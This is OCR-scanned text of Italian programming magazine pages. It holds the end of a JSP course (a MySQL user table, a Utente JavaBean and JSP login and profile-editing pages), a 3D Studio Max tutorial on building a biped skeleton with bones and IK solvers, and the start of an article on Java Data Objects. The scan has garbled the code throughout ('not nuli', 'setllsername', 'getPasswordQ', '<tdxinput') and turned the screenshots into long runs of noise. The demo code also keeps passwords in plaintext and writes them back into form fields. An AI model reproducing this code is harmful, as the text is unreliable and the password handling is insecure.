password varchar(20) binary not nuli default ", 
nome varchar(20) not nuli default ", 
cognome varchar(30) not nuli default ", 
email varchar(30) not nuli default ", 
telefono varchar(20) not nuli default ", 
indirizzo varchar(50) not nuli default " ); 

Una volta creata la tabella, popoliamola con un utente 
arbitrario, che impiegheremo successivamente per 
sperimentare il funzionamento dell'applicazione JSP: 

insert into utenti (username, password) 
values ("PIPPO", "ciao" ); 

Possiamo chiudere il client di MySQL: abbiamo com- 
pletato le operazioni preliminari collegate al database 
necessario alla nostra applicazione. 



IL JAVABEAN 

Procediamo con la progettazione di un JavaBean capa- 
ce di astrarre il concetto di "utente", cioè di incapsula- 
re i dati collegati ad ogni utente dell'applicazione: 

package mieibean; 
import java.io.Serializable; 



96*-** m 



g g 



http ://www.itport al.it 



public class Utente implements Serializable { 

private String username = ""; 

private String password = ""; 

private String nome = ""; 

private String cognome = ""; 

private String email = ""; 

private String telefono = ""; 

private String indirizzo = ""; 

public void setllsername(String username) { 

this. username = username; } 
public void setPassword(String password) { 

this. password = password; } 
public void setNome(String nome) {this. nome = nome; } 
public void setCognome(String cognome) { 

this. cognome = cognome; } 
public void setEmail(String email) {this. email = email; } 
public void setTelefono(String telefono) { 

this. telefono = telefono; } 
public void setIndirizzo(String indirizzo) { 

this. indirizzo = indirizzo; } 
public String getUsername() {return username; } 
public String getPasswordQ {return password; } 
public String getNome() {return nome; } 
public String getCognomeQ {return cognome; } 
public String getEmail() {return email; } 
public String getTelefono() {return telefono; } 
public String getIndirizzo() {return indirizzo; }} 

La classe Utente è, a tutti gli effetti, un JavaBean (cfr. le- 
zione precedente): 

1 . Implementa l'interfaccia java. io. Serializable. 

2. Ha un costruttore privo di argomenti (o meglio, 
non ha alcun costruttore dichiarato esplicitamente, 
e quindi gli viene fornito automaticamente un co- 
struttore privo di argomenti, secondo le specifiche 
del linguaggio). 

3. Definisce una serie di metodi get e set, utili per in- 
teragire in lettura ed in scrittura con tutte le pro- 
prietà che, nella nostra astrazione, rappresentano 
un utente dell'applicazione. 

Compiliamo la classe, e conserviamo per il momento il 
prodotto della compilazione. 



le per separare forma e contenuto. DatabaseManager 
contiene due metodi statici: 

1. IoadUtenteO. Accetta in ingresso un JavaBean 
Utente di cui già siano stati impostati i campi user- 
name e password. Basandosi su questi due valori, 
accede al database di MySQL realizzato in prece- 
denza, alla ricerca del record corrispondente. Se ta- 
le record esiste e può essere recuperato, le rima- 
nenti proprietà del JavaBean saranno impostate di 
conseguenza. Inoltre, il metodo restituisce un ri- 
sultato booleano: true se è stato possibile indivi- 
duare e caricare l'utente, false altrimenti. 

2. saveUtenteO. Come il precedente, questo metodo 
accetta in ingresso un JavaBean Utente di cui sia già 
stato impostato almeno il campo username. Quindi, 
aggiorna il database di conseguenza, salvando i 
campi dell'oggetto nelle corrispondenti colonne 
della tabella utenti. 

Compiliamo la classe e conserviamo il bytecode pro- 
dotto. 

CONFIGURIAMO 
L'APPLICAZIONE JSP 

Raggiungiamo la cartella di Apache Tomcat che dovrà 
ospitare la nostra applicazione dimostrativa. Al suo in- 
terno, se già non esiste, creiamo una cartella chiamata 
WEB-INF. Una volta dentro questa cartella, predispo- 
niamo le risorse nel seguente modo: 

• Alla posizione classes/mieibean inseriamo il file 
Utente.class, ottenuto dalla compilazione della clas- 
se JavaBean Utente. 

• Alla posizione classes/mieclassi inseriamo il file Da- 
tabaseManager. class, ottenuto dalla compilazione 
della classe DatabaseManager. 

• Alla posizione lib copiamo il file JAR contenente il 
driver JDBC di MySQL, se questo non è già in altri 
ambiti di visibilità condivisi dalle applicazioni JSP. 
Questa procedura è stata descritta nelle lezioni in 
cui si è discusso dell'accesso ai database da appli- 
cazioni Web. 




Maggiori 
informazioni 
sui JavaBean 

Se siete rimasti 
affascinati dai Ja- 



vaBean e siete interes- 
sati ad approfondire 
l'argomento, il punto 
di partenza ideale è: 

http://iava.sun.com/ 
products/iavabeans/ 



LA CLASSE 
DATABASEMANAGER 

Il JavaBean Utente possiede tutti i mezzi indispensabi- 
li per la rappresentazione di un utente della nostra ap- 
plicazione, rimanendo comunque completamente in- 
dipendente dal database realizzato due paragrafi so- 
pra. A fare da "ponte" tra una rappresentazione e l'al- 
tra, sarà la speciale classe DatabaseManager, il file è di- 
sponibile sul CD o sul Web (vedi box laterale pagina 
96). DatabaseManager è una comunissima classe Java, 
non un JavaBean. Ci servirà per evitare di scrivere il 
codice necessario all'accesso al database direttamente 
nelle pagine JSP dell'applicazione. Questa tecnica è uti- 



Owiamente, tutte le cartelle inesistenti prima del no- 
stro intervento, vanno create manualmente. Completa- 
ta l'opera, è possibile avviare Apache Tomcat. 

LE PAGINE 
DELL'APPLICAZIONE 

Posizionandoci nella cartella base dell'applicazione, 
iniziamo a creare tutti i documenti Web necessari. 
Cominciamo con login.html, che contiene una semplice 
maschera HTML per il login dell'utente: 

<html> 

<head> 



http ://www.itport al.it 



9 9 



003 ►►► 97 




JSP 



BeanBuilder 



BeanBuilder è uno 
strumento visuale 
per la dimostrazione e 
la verifica dei compo- 
nenti JavaBean. Potete 
prelevarlo dalla pagina: 

http://iava.sun.com/pro - 
ducts/iavabeans/beanbuil- 
der/index.html 



<title>Corso di JSP, JavaBean Demo</title> 

</head> 

<body> 

<div align = "center"> 

<hl>Identificati!</hl> 

<form action = "editdata.jsp" method = "post"> 
<table border="0" cellspacing = "3" cellpadding = "3" 

align = "center"> 

<tr align = "left" valign="middle"> 

<td>Username:</td> 

<tdxinput type="text" name="username"x/td> 

</tr> 

<tr align = "left" valign = "middle"> 

<td> Password :</td> 

<tdxinput type="password" name="password"x/td> 

</tr> <tr> 

<td colspan = "2"> </tdx/tr> 

<tr align="center" valign = "middle"> 
<td colspan="2"xinput type="submit" 

value= "Accedi" x/tdx/tr> 

</tablex/form> 

</div> 

</body> 

</html> 

I dati inseriti nel modulo saranno inviati a editdata.jsp, 
in cui il nostro JavaBean farà la sua entrata in scena: 

<%@page import="mieclassi.DatabaseManager" %> 
<html> 

<head> 

<title>Corso di JSP, JavaBean Demo</title> 

</head> 

<body> 
<% boolean exists = true; %> 
<%— Recuperiamo o creiamo il JavaBean --%> 
<jsp:useBean id = "utente" scope="session" 

class="mieibean. Utente" > 
<%— Impostiamo username e password, in caso di 

creazione --%> 
<jsp:setProperty name="utente" property="username" /> 
<]sp:setProperty name="utente" property="password" /> 
<%— Chiediamo la lettura dal database --%> 
<% exists = DatabaseManager.loadUtente(utente); %> 
</jsp:useBean> 

<% if (exists) { %> 

<%— Se i dati sono stati trovati ed impostati — %> 
<div align="center"xhl>Dati per l'utente <%= 

utente. getUsername() %x/hlx/div> 
<form action = "savedata.jsp" method = "post"> 
<table border="0" cellspacing="3" cellpadding = "3" 

align = "center"> 
<tr align = "left" valign = "middle"> 

<td > Password : </td > 

<tdxinput type="password" name="password" 

value="<jsp:getProperty name=" utente" 
property="password" />"> 

</td> </tr> 

<tr align = "left" valign="middle"> 



<td>Nome:</td> 

<tdxinput type="text" name="nome" 

value="<jsp:getProperty name= "utente" 
property="nome" />"> 

</td> </tr> 

<tr align = "left" valign = "middle"> 

<td>Cognome: </td> 

<tdxinput type="text" name="cognome" 

value="<jsp:getProperty name="utente" pro- 
perty="cognome" />"> 

</td> </tr> 

<tr align = "left" valign = "middle"> 

<td>Email:</td> 

<tdxinput type="text" name="email" 

value="<jsp:getProperty name= "utente" 
property="email" />"> 

</tdx/tr> 

<tr align = "left" valign = "middle"> 

<td >Telefono : </td > 

<tdxinput type="text" name="telefono" 

value="<jsp:getProperty name="utente" pro- 
perty="telefono" />"> 

</td> </tr> 

<tr align = "left" valign = "middle"> 

<td > Indirizzo :</td> 

<tdxinput type="text" name="indirizzo" 

value="<jsp:getProperty name="utente" pro- 
perty="indirizzo" />"> 

</tdx/tr> 

<tr> 

<td colspan = "2"> </td> </tr> 
<tr align = "center" valign = "middle"> 
<td colspan = "2"> 
<input type="submit" value="Salva"> 
<input type="reset" value="Cancella"> 
</td> </tr> </table> </form> 

<% } else { %> 

<%-- Se i dati nel database non esistono --%> 

Dati non trovati... <% } %> 

</body> 
</html> 

Per meglio comprendere il funzionamento del docu- 
mento, sezioniamone il contenuto. 

<%@page import="mieclassi.DatabaseManager" %> 

Con questa direttiva abbiamo reso visibile la classe Da- 
tabaseManager, che è nel package mieclassi. 

<jsp:useBean id = "utente" scope="session" class="miei 

bean.Utente"> 
<%— Impostiamo username e password, in caso di 

creazione --%> 
<jsp:setProperty name="utente" property="username" /> 
<jsp:setProperty name="utente" property="password" /> 
<%— Chiediamo la lettura dal database --%> 
<% exists = DatabaseManager.loadUtente(utente); %> 
</jsp:useBean> 



98*-** m 



g g 



http://www.itportal.it 



Questa parte richiama il JavaBean Utente. Lo scope as- 
sociato al bean è session. Quindi, l'istanza della classe 
sarà associata all'utente per tutto il periodo di utilizzo 
dell'applicazione. Abbiamo usato l'attributo class. 
Questo porta ad una diramazione dei casi possibili: 

1. Se l'utente che accede alla pagina possiede già, tra 
le sue variabili di sessione, un'istanza di Utente 
chiamata utente, questa sarà recuperata e predi- 
sposta all'uso. 

2. In caso contrario, una nuova istanza di Utente sarà 
creata e memorizzata tra le variabili di sessione del 
visitatore. 

Il corpo dell'azione jsp:useBean, inoltre, viene valutato 
solo al ricorrere del secondo caso. Quindi, non appena 
il JavaBean viene istanziato, i suoi campi username e 
password vengono impostati in corrispondenza degli 
omonimi campi provenienti dal form di login.html (cfr. 
lezione precedente). Inoltre, viene richiamato il meto- 
do DatabaseManager.loadUtenteQ, in modo che le rima- 
nenti proprietà possano essere caricate dal database. 
L'esito di quest'ultima operazione viene memorizzato 
in una variabile booleana. Se questa è trite, allora i da- 
ti dell'utente sono stati caricati senza problemi. In caso 
contrario, la cosa più probabile è che i dati di accesso 
siano errati. La rimanente parte del codice mostra al- 
l'utente l'esito dell'operazione. Se l'accesso ha avuto 
buon esito, viene predisposto un modulo HTML che 
consenta all'utente di interagire con il suo profilo. 
I campi del form vengono inizializzati servendosi di 
alcune chiamate all'azione jsp:getProperty. Riassumen- 
do, quindi, quanto letto dal database e conservato nel 
JavaBean, viene ora posto davanti agli occhi dell'uten- 
te, a cui è concessa la possibilità di modificare i propri 
dati. Il modulo spedisce i dati al documento saveda- 
ta.jsp: 

<%@page import="mieclassi.DatabaseManager" %> 

<html> 

<head> 
<title>Corso di JSP, JavaBean Demo</title> 

</head> 

<body> 

<%— Carichiamo il JavaBean già presente nella sessione --%> 
<jsp:useBean id = "utente" scope="session" 

type = "mieibean. Utente" /> 
<%— Impostiamo le proprietà — %> 
<jsp:setProperty name="utente" property="password" /> 
<jsp:setProperty name="utente" property="nome" /> 
<jsp:setProperty name="utente" property="cognome" /> 
<jsp:setProperty name="utente" property="email" /> 
<jsp:setProperty name="utente" property= "telefono" /> 
<jsp:setProperty name="utente" property="indirizzo" /> 
<%— Salviamo i dati nel database — %> 
<% DatabaseManager.saveUtente(utente); %> 
<%— Mostriamo un avviso di conferma --%> 
<div align = "center"> 



<hl>Dati salvati!</hl> 

<p>[<a href="editdata.jsp">torna al 

pannello </a>]</p> 
</div> 
</body> 
</html> 

In questo documento, il JavaBean associato all'utente 
viene nuovamente recuperato: 

<jsp:useBean id = "utente" scope="sessìon" type="miei 

bean. Utente" /> 

Questa volta, però, è stato impiegato l'attributo type: il 
JavaBean deve già esistere tra le variabili di sessione 
dell'utente. In caso contrario, non sarà istanziato auto- 
maticamente, ed un errore bloccherà l'esecuzione del- 
la pagina. Nella parte immediatamente successiva le 
proprietà del bean vengono aggiornate di riflesso ai 
dati forniti attraverso il modulo HTML della pagina di 
provenienza. Quindi, i dati dell'utente vengono rifles- 
si anche nel database, con una chiamata a DatabaseMa- 
nager.saveDataQ. Attraverso questa architettura, siamo 
riusciti a rendere molto semplice la stesura dei singoli 
documenti JSP. La logica business risiede completa- 
mente nelle classi realizzate in apertura. L'accesso al 
database viene gestito in un contesto indipendente. 
Tutto ciò rende l'applicazione molto più scalabile e di 
più facile manutenzione. 

SPERIMENTIAMO 
L'APPLICAZIONE 

Giunti a questo punto, non resta che verificare che tut- 
to sia andato a buon fine. Colleghiamoci a login.html 
ed usiamo i dati introdotti in precedenza nel database. 
Arrivati su editdata.jsp, compiliamo e salviamolo il pro- 
filo, giungendo a savedata.jsp. Verifichiamo che l'ag- 
giornamento del database abbia effettivamente avuto 
luogo: SELECT * FROM utenti;. Se tutto è andato come 
previsto, dovremmo vedere intabellati i dati del profi- 
lo salvato in precedenza. 

CONCLUSIONI 

Come è possibile osservare, suddividere l'applicazio- 
ne in più strati indipendenti ha reso di più semplice 
stesura il codice dei documenti JSP necessari al com- 
pletamento del software. Inoltre, l'intera struttura ha 
buone doti di scalabilità. Il database potrebbe cambia- 
re senza dover nuovamente mettere mano sia sui do- 
cumenti Web sia sul JavaBean usato. I pregi dimostra- 
ti, per concludere, guadagnano maggiore enfasi quan- 
do le differenti parti dell'applicazione vengono curate 
da figure professionali indipendenti. Si conclude qui 
questo corso dedicato al linguaggio JSP, sperando di 
aver dato ai lettori delle buone nozioni per iniziare a 
programmare. Alla Prossima. 

Carlo Pelliccia 




Bibliografia 



• JSP, LA GUIDA 
COMPLETA 

Phil Hanna 

(McGraw-Hill) 

ISBN 88-386-4207-9 

2001 

• IMPARARE 
JAVASERVER PAGES 
IN 24 ORE 

Jose Annunziato, 
Stephanie Fesler 
Kaminaris 
(Tecniche Nuove) 
ISBN 88-481-1306-0 
2001 

• JAVA, LA GUIDA 
COMPLETA 
Patrick Naughton & 
Herbert Schildt 
(McGraw-Hill) 
ISBN 88-386-0416-9 
1997 

• JAVA 2, TUTTO & 
OLTRE 

lamie Jaworski 

(Apogeo) 

ISBN 88-7303-466-7 

1999 



http ://www.itport al.it 



g g 



2 o o 3 ►►► 99 



"»"""'* 



Creare una struttura 
ossea per un 
personaggio ^su,* 



io Max 



Pietro Canini 



Vediamo come creare, impostare e collegare le ossa (Bones), attraverso 
le nuove funzionalità di 3D Studio Max 4, per animare lo scheletro e dar 

vita ad un personaggio bipede. 



LJ animazione dello scheletro di un 
personaggio, grazie 
all'introduzione della cinematica 
inversa detta IK (Inverse Kinematics), è 
ormai una operazione molto semplice. 
Nella cinematica diretta, far muovere un 
braccio significa agire dalla spalla fino a 
giungere alle dita. Nella cinematica 
inversa, succede il contrario. Basta 
muovere le dita e l'intera struttura 
collegata si muove di conseguenza. È 
possibile vincolare i movimenti, sia in 
rotazione sia in posizione, in maniera 
tale, ad esempio, che una mano ruoti 
fino ad un certo punto e non oltre. Per 
lavorare con l'IK, la successione delle 
operazioni è la seguente: costruire un 



modello, sia esso composto di varie 
parti che da una singola struttura; creare 
lo scheletro attraverso le Bones; 
applicare un risolutore di cinematica 
inversa (IK Solver); impostare i limiti di 
rotazione e posizione; animare l'end 
effector nel caso dell'HD Solver oppure il 
goal nell'uso dell'HI Solver o del IK Limb 
Solver. Gli IK Solvers sono nuove opzioni 
di 3dsmax4 che permettono di 
impostare lo scheletro di un personaggio 
usando le Bones. Ci sono tre tipi di IK 
Solver (quattro in 3dsmax5), disponibili 
nel menu a tendina Animation: HI Solver 
(History-lndependent), HD Solver 
(History-Dependent), IK Limb Solver. Per 
l'animazione di personaggi o per lunghe 



sequenze, la migliore soluzione è l'HI 
Solver. L'HD Solver può essere usato 
solo per animazioni meccaniche o 
piccole sequenze, mentre l'IK Limb 
Solver serve per lo sviluppo di 
videogame, operando solo solo due 
Bones della catena. Per aver un 
controllo immediato sulla rotazione o 
sulla posizione, possiamo linkare il goal 
o l'end effector a punti (points), spline, o 
oggetti dummy (che non appariranno nel 
rendering finale). In questo tutorial, ci 
concentreremo soltanto sulla creazione 
di una struttura ossea di un bipede, che 
potrà essere usata come scheletro con il 
modificatore Skin applicato ad una 
superficie. 



La struttura ossea della gamba 1 I 



Recatevi nel pannello 
Create / Systems / 
Bones. Nella vista laterale, 
fate clic nell'angolo in alto a 
sinistra, per iniziare a 
creare l'osso della gamba. 
Poi muovete la freccetta giù 
e a destra e cliccate per 
creare la coscia. Muovetevi 
ora in basso a sinistra e 



cliccate per creare il 
polpaccio. 

Muovete il cursore a destra 
e cliccate per creare il 
piede, ancora a destra e di 
nuovo clic per le dita, ora 
per finire premete il tasto 
destro del mouse. Dovrebbe 
comparire una situazione 
come in figura. 





, ■ ,,:,■■.;■. . :....■ ... 


■; 3 :- 0L[ Vk«, C,= ™ Nociltas .:™« :c , ft-i™tion CrmCcita-s Rrcch, .: Js to„ :t NUScrp: 1 IoId 


iF'v-n^. i, ii ni 111 -■;>■! ±z> ci*- - n- , 3 _d -*--5 r .. -p< mmu\^ v "' ^»| 








! 


1 




1)1 ì-.-aaMÌV 
■ f== 3 






.... : . ; : . . 


,1- stati.» 




i 






:- ■ ■ ■ ' 




', N '"*""' ' 












; ■ . : 




r^~~." 








1 1 pf^^^^^^^^^Bti mi ■ 






fnH^TFFftflf 


3^ . 


p39 




































-- — -■ i— 






" " 














, ! . ■.!.:.. 


































^^^^^^H 


.--:-- : -- Yr 


"- 


1 r J r 


s iy Mi i rii v ' it '"i 1 "'* 1 "± m i ■ 


«' "i""4,' ' 'm 






j| 1 BÉJKiSrfWIM 


fi HXjco v „ :: 




E]-:- : CÌ-J--0.J AH^Kw Ccfccbd 


^ *.|«B.»|«i H5BK.* 


-:■:! , :l,l™l-l, L h 


stati* 






«llli"-v »='•■=-" *•■»> 







100 >>> M a g 



http: //www. itport al.it 



T2 Creare l'altra gamba 



Nella vista frontale, con un ret- 
tangolo, selezioniamo (tasto 
Select and Move) tutta la 
gamba e muoviamola, a sini- 
stra, tenendo premuto il tasto 
Shift (Maiusc) della tastiera. 
In questo modo, creiamo 
un'altra gamba per il nostro 
personaggio. Nella vista di sini- 
stra, zoomiamo verso l'esterno 
per ottenere un'area di lavoro 
sufficiente grande per la crea- 
zione della colonna vertebrale. 



3-4 La colonna vertebrale 




Per disegnare la colonna 
vertebrale, cliccate di 
nuovo sul tasto Bones e ini- 
ziate a creare la struttura 
poco dietro l'inizio della 
gamba (in modo che non 
venga accidentalmente 
attaccata). In tutto, dovete 
cliccare sei volte. Il sesto 
clic definisce la creazione 



della testa, quindi cliccate 
col tasto destro. Seleziona- 
te ora tutta la colonna e 
muovetela in modo da posi- 
zionarla in mezzo alle 
gambe. Ora lavoreremo con 
la struttura creata, affinché 
l'IK funzioni bene. In segui- 
to aggiungeremo altri ele- 
menti. 






^iw^.iHBWiai— d ». 

v KIAMSIT 
o s ■*-, sa i 




^5 Impostare il risolutore di IK 
per le gambe 



Ora che le gambe e la 
colonna vertebrale sono 
state create, per renderle 
animabili, possiamo aggiun- 
gere l'IK Solver alla scena. 
Nella vista prospettica, sele- 
zionate una coscia, andate 
nel menu a tendina 
Animation/IK Solvers/HI 
Solver e cliccate sul piede. 
Vedrete una linea tratteg- 
giata estendersi dalla coscia 



al piede. Cliccate su Select 
and Move e, nella vista 
sinistra, provate a muovere 
la croce che si forma alla 
base del tallone (N.B. 
Annullate i movimenti che 
state compiendo per conti- 
nuare a lavorare sulla 
gamba nella sua posizione 
originale). Selezionate la 
coscia dell'altra gamba e 
ripetete questo processo. 



F 



[ 




6 II risolutore IK per i piedi 



Ora assegniamo il risolutore 
di IK ai piedi. Nella vista 
prospettica, zoomate nella 
zona dei piedi. Selezionatene 
uno e recatevi nel menu 



Animation/IK Solvers/HI 
Solver. Cliccate quindi alla 
fine delle dita dello stesso 
piede. Ripetete l'operazione 
per l'altro piede. 





http://www.itportal.it 



9 9 



2 3 >>> 101 



"»"""'* 



^7 II risolutore IK per la 
colonna vertebrale 



Creiamo ora una catena 
IK per la colonna 
vertebrale. Selezionate 
l'osso più basso (quello 
posizionato tra le 
cosce), recatevi su 
Animation/IK 
Solvers/HI Solver e 
selezionate la testa (il 
penultimo osso, non 
quello finale). 
Questo crea una catena 
IK con il controllo sul 



collo (dov'è apparsa la 
croce). Inserite ora gli 
oggetti Dummy. In 
questo modo, possiamo 
animare la catena IK 
muovendo soltanto tali 
oggetti. 

Così facendo, animare 
uno scheletro risulta 
più semplice, 
soprattutto se è 
composto di molte 
ossa. 



* 8-9-1 Gli oggetti Dummy 



Recatevi nel pannello 
Create/ Helpers/Dum 

my e, nella vista Left, 
cliccate alla base del 
tallone per creare un 
oggetto Dummy. 
Createne un altro in 
prossimità delle dita 
del piede; fate lo 
stesso con l'altra 
gamba. 

Createli abbastanza 
grandi da poter essere 
facilmente 
selezionabili. Aiutatevi, 



nella loro creazione, 
anche con le altre 
viste. Rinominate il 
Dummy in base all'osso 
su cui è collocato. Ad 
esempio Tallone Sx, 
Tallone Dx, Dita Sx e 
Dita Dx. Create un 
altro oggetto Dummy 
alla base della colonna 
vertebrale e chiamatelo 
Bacino; e piazzatene 
un ultimo sul collo che 
chiamatelo di 
conseguenza. 




102 >>> M a 




http: //www. itport al.it 



■ 



f 11-12-13 Linkare la catena IK 
ai Dummy 



La soluzione migliore per 
controllare le catene IK è di 
collegarle (linkarle) ai 
Dummy. Tutte le catene IK 
sin ora create verranno 
linkate ai Dummy, Nella 
vista prospettica, zoomate 
sui piedi; selezionate la 
catena IK creata all'inizio 
(la croce che si trova presso 
il tallone, non il Dummy e 
non la Bones). Cliccate sul 
tasto Select and Link 
(nella barra degli strumenti 
principale) e linkate la 
catena IK al Dummy del 
tallone (tenendo premuto il 
tasto del mouse sulla catena 



IK e trascinando il 
puntatore sul Dummy). 
Ripete questo passo per gli 
altri Dummy dei piedi. Ora 
selezionate la catena IK del 
collo (non del bacino) e 
linkatela al Dummy 
corrispondente. Selezionate 
ora le ossa delle cosce e 
l'osso alla base della 
colonna vertebrale (tutti e 
tre contemporaneamente) e 
linkateli al Dummy Bacino. 
Ora dovrebbe essere tutto a 
posto. (Nota: Se dove avete 
linkato le catene IK, le ossa 
cambiano di direzione, 
annullate l'operazione di link 



J.I ...■ ■■■ 




iH5 


\ r -[ W 


!, ti- H 


' -i 


• * 4- tt a l Vl ™ =Jprj$?*^«>*lift 


-j 


f <■ 


1 = 


mai»- ^«* 

1 (.-«"lAelBIT 






















1 |s,...,., J 
jb e ,:IT lt = 




r d-: 




- 














,„„,, 


W 1 
fi*> 1 
























1 |nch.. K 

| 


H Hr 


HE" 


^=_- 


















:3 Tj 


-f- 








" r- 
















t 






























































-U- 


































:: ~-X 





























: 














■ 










































































1 \! 












„■» l,l 




■ I ,•>),< '„""„' 


è M "i" "i" "Ja" "4" "è" "i" "4t" "i 1 " 'jfe" "i" ' % i so és ita 






llHelpstSelEdffl fi t*l 3SJ !-\ 2| | Bdd=W,0 


BuhK.j Sete™ J l« 


"0"' «iQ,-*a.fl3.. 


fm 




lo. li 










e ruotate il Dummy di 90 
gradi). Provate a muovere i 



Dummy per vedere i 
risultati sin ora ottenuti. 




Linkare i dummy l'un l'altro 14* 



Se provate a muovere il 
Dummy del tallone, 
vedrete che le dita non si 
muovono con esso. Se 
muovete il Dummy delle 
dita, il tallone non va con 
loro. Selezionate un 
Dummy del tallone, 
recatevi su Select and 



Link e linkatelo al Dummy 
delle dita dello stesso 
piede. Eseguite l'operazione 
con l'altro piede. Linkate 
ora il Dummy del collo al 
Dummy del bacino. In 
questo modo, quando 
muovete il bacino, tutta la 
colonna si muove con esso. 





http://www.itportal.it 



9 9 



2 3 >>> 103 



Giuste angolazioni 151 f 19-20 La catena IK 



Se abbiamo qualche osso 
che si muove in maniera 
errata, dobbiamo vedere 
come farlo piegare 
attraverso lo Swivel Angle 
che determina la direzione. 
Ad esempio, se le dita si 
muovono in modo 
sbagliato, selezioniamo la 
catena IK, ci rechiamo nel 
pannello Motion e, nel 
rullout IK Solver 
Properties, modifichiamo il 
valore Swivel Angle. 
Adottate questo 
accorgimento se vi capita 
una situazione del genere 
dopo la creazione delle 
braccia. 




Dal menu Animation/IK 
Solvers/HI Solver, create 

una catena IK partendo 
dalla parte alta del braccio 
fino alla mano. Eseguite la 



stessa procedura creando 
un'altra catena dalla mano 
fino alle dita. Eseguite que- 
sta operazione per tutte e 
due le braccia. 



16-17-18 Le ossa delle braccia 



La creazione delle braccia è si- 
mile a quella delle gambe. Re- 
catevi quindi nel pannello Crea- 
te/ System /Bones e, nella vi- 
sta frontale, create quattro os- 
sa: una per la parte superiore 
del braccio, una per la parte in- 
feriore, un'altra per la mano e 





tH 












[Standard 

|- Qb|ectTi'p& 
Ai.itoGnd r 

Bones RingAitìi 
















Biped 
| - N ame andCciloi 
















| BJDne21 














| - IK.OiainA--;v ■■.'■■:■ 
IK Solver: 












|lKHISolvar _-j 

T AssigriToChildren 
V ASsignTùRool 

















l'ultima per le dita. Col tasto 
Select and Move, recatevi 
nella vista di sinistra e spostate 
il braccio in modo da allinearlo 
alla colonna vertebrale, dando- 
gli una posizione più naturale 
muovendolo in avanti. Nella 
vista frontale, selezionate l'in- 
tero braccio e, nella 
barra degli strumenti 
principale, cliccate sul 
tasto Mirror (oppure 
nel menu tendina 
Tools /Mirror). Dalle 
opzioni scegliete 
Copy e cliccate su 
OK. Spostate il brac- 
cio creato dall'altra 
parte dello scheletro. 



S*i^ r » fsflSl^KQl» 3» + '[*t> riF^ - 3|!|«f*#<ìa»liftl ^IHUPJHtìSftl 5 " 3 W 


! ?- 


-,->. 1 1 


sl'MMEiTI 

l„„„ ■ 


5i-r>i"- 


-Ujj 






■^-1 J 


-■■ 'J- / 


■"'-■ 


'i, ,..„„ 


H-y 










«■—'""" j 




■\~- " 






„.„, 


~. 2 








ik J_ Ljja M- 


T^nr 


Tri - : n: r . . - - ... 




' 








/ \ 


= [ 








^Sruf 














[~Hjpj] 


':■■ \r\< -iri-^ 


;" ; 


«1 


HiPIH 




-« 


a , ',y Tr"A"V"A" V V V r ff "i 1 "i 1 i'"A"A"i 


ffi ac m -w 


,_„., 


I,.«.,.,.,„ » tì .,l.,„„ ; , H ." »..- ÌJ—» ^ 


"^fr 1 - - !*• «E.»" "i '-, 'll.lnll 


' ~— 1— -w 






ffi |>^J.^_IS 




■ 



104 >>> M a 




http: //www. itport al.it 



■ 



21-22 I Dummy e tutti i link 



Recatevi nel pannello 
Create/ Helpers/ Dummy 
e create due Dummy per i 
polsi, nominandoli Polso 
Sx e Polso Dx, e due per 



le dita, Dita Dx e Dita Sx. 

Linkiamo quindi le catene 
IK dei polsi ai Dummy dei 
polsi, e le catene delle dita 
ai Dummy delle dita. Ora 





linkate i Dummy delle dita 
ai Dummy dei polsi. 
Linkate le ossa delle 
braccia superiori al Dummy 
del collo. 

Linkate i Dummy dei polsi 
al Dummy del collo, in 
modo che quando 



muoviamo il Dummy del 
collo, le braccia si muovano 
con esso. 

Lo scheletro è finito. Se 
occorre aggiustare 
l'angolazione delle braccia, 
sistematela come spiegato 
nel passo 15. 



Limitare i movimenti 23 



Se vogliamo, possiamo limi- 
tare i movimenti delle ossa, 
ad esempio in modo che un 
piede non ruoti più del 
dovuto. Zoomate sui piedi, 
nella vista prospettica, e 
selezionate l'osso delle dita 
(quindi non il Dummy e 
non la catena IK). Aprite il 
pannello Hierarchy/IK e, 
nel rullout Rotation Joint, 
troverete i parametri neces- 
sari per limitare i movimen- 



ti. Ci interessa soprattutto 
limitare le dita sull'asse Z. 
attivate quindi il tasto 
Limited in Z Axis e impo- 
state il valore minimo e 
massimo della rotazione del 
dito: From = -30 e To = 
30. Così facendo, quando 
muovete i Dummy per ani- 
mare lo scheletro, l'osso del 
dito si ferma fino ad un 
certo punto (definito appun- 
to in From e To). Eseguite 




W Active : Limited 
To: 

Preferred Angle: PV! al 



From: 



■Z'Ak.ìs 

W Active W Limited 

From: To: 

|-30,0 ^| [3670 Cj 

Preferred Angle:[W M 



^ 



la stessa operazione per 
l'altro dito e per il resto del 



corpo se volete un miglior 
controllo. 



Conclusioni 



Adesso, lo scheletro è 
pronto per essere associato 
ad una superficie. Per ani- 
mare l'intero scheletro, 
basta attivare il tasto 
AutoKey (Animate nelle 
versioni precedenti di 
3dsmax) ed iniziare a spo- 
stare gli oggetti Dummy di 
frame in frame (consiglio di 
effettuare movimenti alme- 
no ogni 5-10 frame, 
andando a ritoccare, se 



necessario, l'azione tra i 
fotogrammi chiave creati). 
Per questo processo, è 
opportuno salvare spesso e 
avere molta pazienza. Se 
vogliamo inserire lo schele- 
tro in una superficie, inve- 
ce, basta applicare a que- 
sta il modificatore Skin e 
impostarne i vari parame- 
tri. Possiamo applicare i 
procedimenti fin ora visti 
per la creazione di qualsiasi 



struttura che necessita di 
essere animata con uno 
scheletro interno. Esistono 
comunque altri metodi per 
animare un personaggio 
bipede. Una soluzione sicu- 
ramente più sbrigativa, e 
con maggiore controllo, è 
l'utilizzo del modulo 
Character Studio, oppor- 
tunamente studiato per 
queste operazioni, in grado 
non solo di animare perso- 



naggi bipedi (se adattato 
anche quadrupedi) ma 
anche di gestire folle, 
rigonfiamenti sulle superfi- 
ci, importare movimenti 
catturati con attrezzature di 
Motion Capture, e molto 
altro. E con questo abbia- 
mo finito. Appuntamento al 
prossimo mese per un altro 
tutorial molto interessante 
sempre sull'animazione, ma 
questa volta procedurale. 




http://www.itportal.it 



g 9 



2 3 >>> 105 



Advanced 



E d 



t i o n 




Java 

Data Object 



Java Data Objects 

ACCESSO AI DATABASE 



JDO (Java Data Objects) è una nuova specifica Java che 
consente di realizzare la "Transparent Persistence", cioè 
le possibilità di memorizzare in modo permanente, e 
trasparente, oggetti su un qualsiasi data-store. 



Sun One 

Molto probabil- 
mente, alla data 
di pubblicazione di 
questo articolo, Sun 
avrà rilasciato la ver- 
sione 4 di One Studio. 

http://wwws.sun,com/sof 
tware/sundev/ide/ 



La specifica JSR-000012 della "Java Com- 
munity Process" è stata rilasciata nei mesi 
scorsi con il nome di JDO. L'obiettivo fi- 
nale di questa specifica è di poter memorizzare 
oggetti Java, in modo trasparente, su diverse ti- 
